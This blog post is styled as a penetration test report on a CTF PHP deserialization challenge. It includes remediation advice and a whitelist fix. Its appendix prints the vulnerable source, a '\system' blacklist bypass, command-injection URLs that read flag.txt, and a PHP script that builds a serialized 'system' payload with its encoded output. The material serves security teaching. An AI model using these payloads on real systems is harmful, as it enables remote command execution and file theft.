Showing posts with label Report. Show all posts
Showing posts with label Report. Show all posts

5/30/2026

Case 2026-05-002 Unserialize

 

Unserialize

 

content

Unserialize

1 Abstract  

2. Purpose and Scope  

3. Testing Methods and Procedures  

4. Discovered vulnerabilities and risk assessment  

5 Repair suggestions and strategies  

6 Conclusions  

7. Attachments and References  

 

 


 

  Abstract

The target of this penetration test—the "deserialization vulnerability"—was taken from a web- based challenge in the 2020 Qiangwang Cup CTF competition . The goal was to obtain the flag.txt file ( sensitive information ) . Typically, during penetration testing, we execute commands such as `exec` and `system` to scout, escalate privileges, and obtain information within a system . This target, however, used a blacklist to block most of these commands.

As the saying goes , "If the mountain doesn't move, the road will," we examined the source code and found that we could obtain the detailed PHP source code of the webpage through the command (function) and parameter (p) . We then discovered a deserialization vulnerability, so we wrote a payload that , after execution, correctly obtained the content of flag.txt from the source code .

Conclusion: Preventing such deserialization vulnerabilities is not difficult. We have three options: completely disable dynamic execution of unserialize (the most fundamental solution), securely restrict the types of unserialize (if absolutely necessary), and remove useless and dangerous types. We recommend the first option—completely disabling dynamic execution of unserialize .

2.   Purpose and Scope

The purpose of this penetration test is to highlight our company's penetration testing services and present them in a complete report format so that our potential clients can align their needs and use this as a benchmark for commissioning penetration testing from our company in the future.

Note title

Explain the deserialization vulnerability

Knowledge Description

We can use PHP 's "magic methods" to execute our payload (malicious program) incidentally.

Principle Thinking

The key to this vulnerability lies in the abuse of parameters. Although the program has a blacklist, we can bypass it if there is no blacklist when "converting data structures or objects into data that is easy to store or transmit" (serialization), that is, when restoring (deserialization) afterwards.

Association Thinking

Even with a blacklist, it might still be possible to use it.

func=\system&p=where%20/r%20C:\laragon\www%20flag.*

func=\system&p=type C:\laragon\www\feifei\flag.txt

Such instructions to bypass

Application Thinking

Simple, casually set-up web pages are unlikely to encounter deserialization vulnerabilities; however, if you are dealing with large enterprises, financial institutions, web application systems with complex frameworks, or websites that use a large number of third-party components or outdated commercial software packages, such as Joomla or WordPress , they may be vulnerable.

Experience association

If you can see the program logic, you have a chance to get the source code. If you get the source code, you have a chance to find a backdoor. If you can find a backdoor, you have a chance to find sensitive information. If you can see sensitive information, you have a chance to escalate privileges and perform lateral movement.

Guidance behavior

Try more, think more, and read the source code. Often, the error messages we see contain more information at the source code level.

Tool Derivatives

This vulnerability doesn't actually require Kali Linux ; it can be triggered directly in the Chrome browser on Windows . This demonstrates the importance of basic concepts.

3.   Testing Methods and Procedures

Test method:

1.   Scanning tool: Chrome browser platform

II.   Standard: OWASP WSTG-INPV-11 [1] Testing for Code Injection

The OWASP Web Security Testing Guide (WSTG) is widely recognized as the most authoritative blueprint for web security testing in the global cybersecurity community . It goes beyond theory, providing penetration testers with a standardized set of procedures, detailing the tests that should be performed on web applications, APIs , and services. The deserialization in this penetration test is part of the input validation process.

OWASP WSTG-INPV-11

III.   Inspection Items:

I.   Locate the injection point.

II. Assess the types of vulnerabilities that can be exploited and their severity.

Schedule:

I.   Scanning and penetration time: 2026/5/23 09 : 00-18 : 00

II.   Report Writing Period: May 30, 2026 - June 23, 2026, 09:00-18 : 00

4.   Discovered vulnerabilities and risk assessment

I. Vulnerability Name and Description: Deserialization vulnerability, which can allow arbitrary program execution remotely.

II. Type of Vulnerability: Deserialization Vulnerability

III. Severity score ( CVSS scoring system): 7.0 to 10 (out of 10 )

IV. Affected Systems or Components: Affects Linux and Windows cross-platform operating systems.

V. Testing Process and Screenshots: The target website uses serialization to display the current time. After testing, the contents of the sensitive file flag.txt can be read (if the source code of config.php is obtained , there is a chance to obtain the database account and password).

Figure 4-1 Critical Data Leakage and Remote Program Execution

VI. Potential Risks and Impacts:

Attack Vector (AV:N) : Usually triggered remotely via the network, without requiring local permissions.

Attack complexity (AC:L) : Once a public POP chain is found in a framework or application , the exploitation process is usually simple.

Permission Requirements (PR:N) : In many cases, attacks can be launched without authentication.

Impact (C, I, A) : Confidentiality, integrity, and availability are usually completely compromised, potentially leading to data breaches or system compromise.

5  Repair suggestions and strategies

I.      For the discovered vulnerabilities, provide specific remediation suggestions and strategies: construct functions using a whitelist approach and completely disable dynamic execution of unserialize .

2.      If the website doesn't need users to dynamically call `unserialize` , the logic in the original code that allowed users to arbitrarily pass in function execution can be changed to a strict whitelist. Modify the lower half of the code as follows:

1.   $func = $_REQUEST["func"] ?? null;

2.   $p = $_REQUEST["p"] ?? null;

3.    

4.   // Strict whitelist: Only allow safe time-related functions

5.   $allowed_funcs = ["date", "time", "strtotime"];

6.    

7.   if ($func !== null) {

8.        $func = strtolower($func);

9.       if (in_array($func, $allowed_funcs, true)) {

10.         echo htmlspecialchars(gettime($func, $p), ENT_QUOTES, 'UTF-8');

11.     } else {

12.          die(" Unauthorized function call. ");

13.     }

14. }

6  Conclusions

In summary, the two most important findings and recommendations from this penetration test are: First, using a whitelist instead of a blacklist is more secure in terms of code writing. Second, even without using deserialization vulnerabilities, blacklists alone can still be bypassed; therefore, websites that may have external access should not display sensitive information—no information, no leaks.

What types of websites / systems are most vulnerable to deserialization vulnerabilities ?

1. "Internal management systems" and "commercial software" of large enterprises (most common)

This is the biggest disaster area for deserialization vulnerabilities in recent years (such as software that frequently appears in CISA 's Known Exploitations Directory KEV ).

The "l"  represents systems such as IT operations and maintenance management systems, customer service ticketing systems (e.g., SolarWinds Web Help Desk ), VPN gateways, and enterprise asset management software.

Reason  : These systems rely heavily on serialization to transfer complex state and data between different backend modules (such as web frontends, databases, and background scheduling tasks). If insecure components (such as early Java WebLogic , JBoss , or certain .NET frameworks) are used, a fatal backdoor can be left.

2. Legacy websites using specific programming language frameworks

Some programming languages ​​have serialization functionality inherently integrated into their ecosystem, making websites developed using these languages ​​more susceptible to vulnerabilities.

Java  websites: Java 's RMI , JMX , JMS , and other technologies are essentially based on serialization transmission. Early on, many large banks, e-commerce companies, and governments' Java systems suffered from widespread compatibility issues because they used third-party libraries containing "gadget chains " (such as Apache Commons Collections ).

Older PHP  content management systems ( CMS ) or plugins: Well-known systems such as WordPress , Joomla , and Magento , although their core core is patched quickly, their third-party plugins or older projects often abuse unserialize () in order to lazily store complex arrays and objects in cookies/sessions .

For  .NET and Python websites: Json.Net in .NET (if improperly configured) or pickle in Python . Python pickle , in particular, is very powerful; if a website has logic for uploading files and reading them using pickle , it will directly trigger an Resource Execution (RCE ).

3. Microservice architecture and big data platform

Modern websites are no longer single servers, but are pieced together from dozens of "microservices".

Internal  communication nodes: When a website's frontend sends requests to the backend, and the backend then sends the data to a cache server (such as Redis ) or message queue (such as RabbitMQ , Kafka ), developers often use serialized formats for transmission to ensure speed. If these internal network nodes are exposed to the external network, or if an attacker can perform man-in-the-middle tampering with the transmitted content, it can trigger a chain reaction of crashes.

Why would a developer write such a vulnerability?

The vast majority of deserialization vulnerabilities stem from the same careless misconception:

"This data was generated, encrypted, or stored in the session by my own server . Users shouldn't be able to modify it, right?"

When designing features (such as shopping cart storage, user personalization preferences, and multi-server synchronization), developers may, for the sake of convenience, directly serialize the entire object and store it in cookies , URL parameters, or hidden fields ( Hidden Input ).

They believe:

Users cannot see it (in fact, they can see it, but it is transformed into seemingly garbled Base64 code).

Users can't understand it (in fact, cybersecurity professionals and hackers can easily dissect the structure).

The vulnerability arises when a website over-trusts the data "sent back from the browser" and directly calls the deserialization function without verification (such as adding a signature HMAC ).

7.  Attachments and References

Step 1. Open the target website

https://feifei.test/unserial-ctf-2020.php

Figure 7-1 Initial Contact

Step 2. After testing, file_get_content was not blacklisted, so we can read the source code (add view-source: before the file name , and add the functions and parameters of func and p ).

view-source:https://feifei.test/unserial-ctf-2020.php?func=file_get_contents&p=unserial-ctf-2020.php

1.   <!DOCTYPE html>

2.   <html>

3.   <head>

4.       <title>phpweb</title>

5.       <style type="text/css">

6.           body {

7.               background: url("bg.jpg") no-repeat;

8.               background-size: 100%;

9.           }

10.         p {

11.             color: white;

12.         }

13. </style>

14. </head>

15.  

16. <body>

17. <script language=javascript>

18.     setTimeout("document.form1.submit()",500000)

19. </script>

20. <p>

21.     <?php

22.     $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

23.     function gettime($func, $p) {

24.         $result = call_user_func($func, $p);

25.         $a= gettype($result);

26.         if ($a == "string") {

27.             return $result;

28.         } else {return "";}

29.     }

30.     class Test {

31.          var $p = "Ymd h:i:s a";

32.          var $func = "data";

33.         function __destruct() {

34.             if ($this->func != "") {

35.                 echo gettime($this->func, $this->p);

36.             }

37.         }

38.     }

39.     $func = $_REQUEST["func"];

40.     $p = $_REQUEST["p"];

41.  

42.     if ($func != null) {

43.          $func = strtolower($func);

44.         if (!in_array($func,$disable_fun)) {

45.             echo gettime($func, $p);

46.         }else {

47.              die("Hacker...");

48.         }

49.     }

50.     ?>

51. </p>

52. <form   id=form1 name=form1 action="unserial-ctf-2020.php" method=post>

53.     <input type=hidden id=func name=func value='date'>

54.     <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

55. </body>

56. </html>

Step 3. From the source code, we can see that `system` is on the blacklist, so if we use `\system` , we can successfully bypass it.

view-source:https://feifei.test/unserial-ctf-2020.php?func=\system&p=type%20C:\laragon\www\feifei\flag.txt

Chart 7-2 FLAG.TXT Content

The system correctly displays the contents of flag.txt :

<p>

ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>

1.     <!DOCTYPE html>

2.     <html>

3.     <head>

4.         <title>phpweb</title>

5.         <style type="text/css">

6.             body {

7.                 background: url("bg.jpg") no-repeat;

8.                 background-size: 100%;

9.             }

10.          p {

11.              color: white;

12.          }

13.  </style>

14.  </head>

15.   

16.  <body>

17.  <script language=javascript>

18.      setTimeout("document.form1.submit()",500000)

19.  </script>

20.  <p>

21.      ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>

22.  <form   id=form1 name=form1 action="unserial-ctf-2020.php" method=post>

23.      <input type=hidden id=func name=func value='date'>

24.      <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

25.  </body>

26.  </html>

 

Step 4. What if we use a deserialization vulnerability instead? We first construct a payload-win-1.php

1.     <?php

2.     // 1. Define a category structure that is exactly the same as the target environment.

3.     class Test {

4.         var $p;

5.         var $func;

6.     }

7.      

8.     // 2. Create an object and enter Windows attack commands.

9.     $a = new Test();

10.  $a->p = "cmd /c type c:\\laragon\\www\\feifei\\flag.txt";

11.  $a->func = "system";

12.   

13.  // 3. Perform serialization

14.  $serialized_data = serialize($a);

15.   

16.  // 4. Automatically assemble the parameter format required for the vulnerability.

17.  $raw_payload = "func=unserialize&p=" . $serialized_data;

18.   

19.  // 5. URL -encode the entire string (or just the parameters)to ensure it is not broken during transmission.

20.  // In practice, we usually only encode the value of p , which best meets the needs ofmanually pasting into Burp.

21.  $final_payload = "func=unserialize&p=" . urlencode($serialized_data);

22.   

23.  // --- Screen output (for easy copying) ---

24.  echo "--- [ Copy this string and paste it directly into the Burp Suite Body ] ---\n";

25.  echo $final_payload;

26.  echo "\n\n";

27.   

28.  echo "--- [ Original unencoded comparison (for easy debugging) ] ---\n";

29.  echo $raw_payload;

30.  echo "\n";

31.  ?>

Step 5. After the program executes, we copy the results.

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:42:"cmd /c type c:\laragon\www\feifei\flag.txt";s:4:"func";s:6:"system";}

1.     --- [ Copy this string and paste it directly into the Burp Suite Body ] --- func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A42%3A%22cmd+%2Fc+type+c%3A%5Claragon%5Cwww%5Cfeifei%5Cflag.txt%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D --- [ Original uncoded comparison (for easy troubleshooting) ] --- func=unserialize&p=O:4:"Test":2:{s:1:"p";s:42:"cmd /c type c:\laragon\www\feifei\flag.txt";s:4:"func";s:6:"system";}

Step 6. Paste the URL into the following address and view the source code:

view-source:https://feifei.test/unserial-ctf-2020.php?func=unserialize&p=O:4:%22Test%22:2:{s:1:%22p%22;s:42:%22cmd%20/c%20type%20c:\laragon\www\feifei\flag.txt%22;s:4:%22func%22;s:6:%22system%22;

1.     <!DOCTYPE html>

2.     <html>

3.     <head>

4.         <title>phpweb</title>

5.         <style type="text/css">

6.             body {

7.                 background: url("bg.jpg") no-repeat;

8.                 background-size: 100%;

9.             }

10.          p {

11.              color: white;

12.          }

13.  </style>

14.  </head>

15.   

16.  <body>

17.  <script language=javascript>

18.      setTimeout("document.form1.submit()",500000)

19.  </script>

20.  <p>

21.      <br />

22.  <b>Warning</b>:  unserialize(): Error at offset 96 of 96 bytes in <b>C:\laragon\www\feifei\unserial-ctf-2020.php</b> on line <b>25</b><br />

23.  ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>

24.  <form   id=form1 name=form1 action="unserial-ctf-2020.php" method=post>

25.      <input type=hidden id=func name=func value='date'>

26.      <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

27.  </body>

28.  </html>

Chart 7-3 shows how to obtain flag.txt .



[1] https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection

Case 04 Time Zone

  DIGITAL FORENSICS PENETRATION TEST REPORT Target Investigation: Time Zone Alignment & Prefetch Analysis Customer / Targe...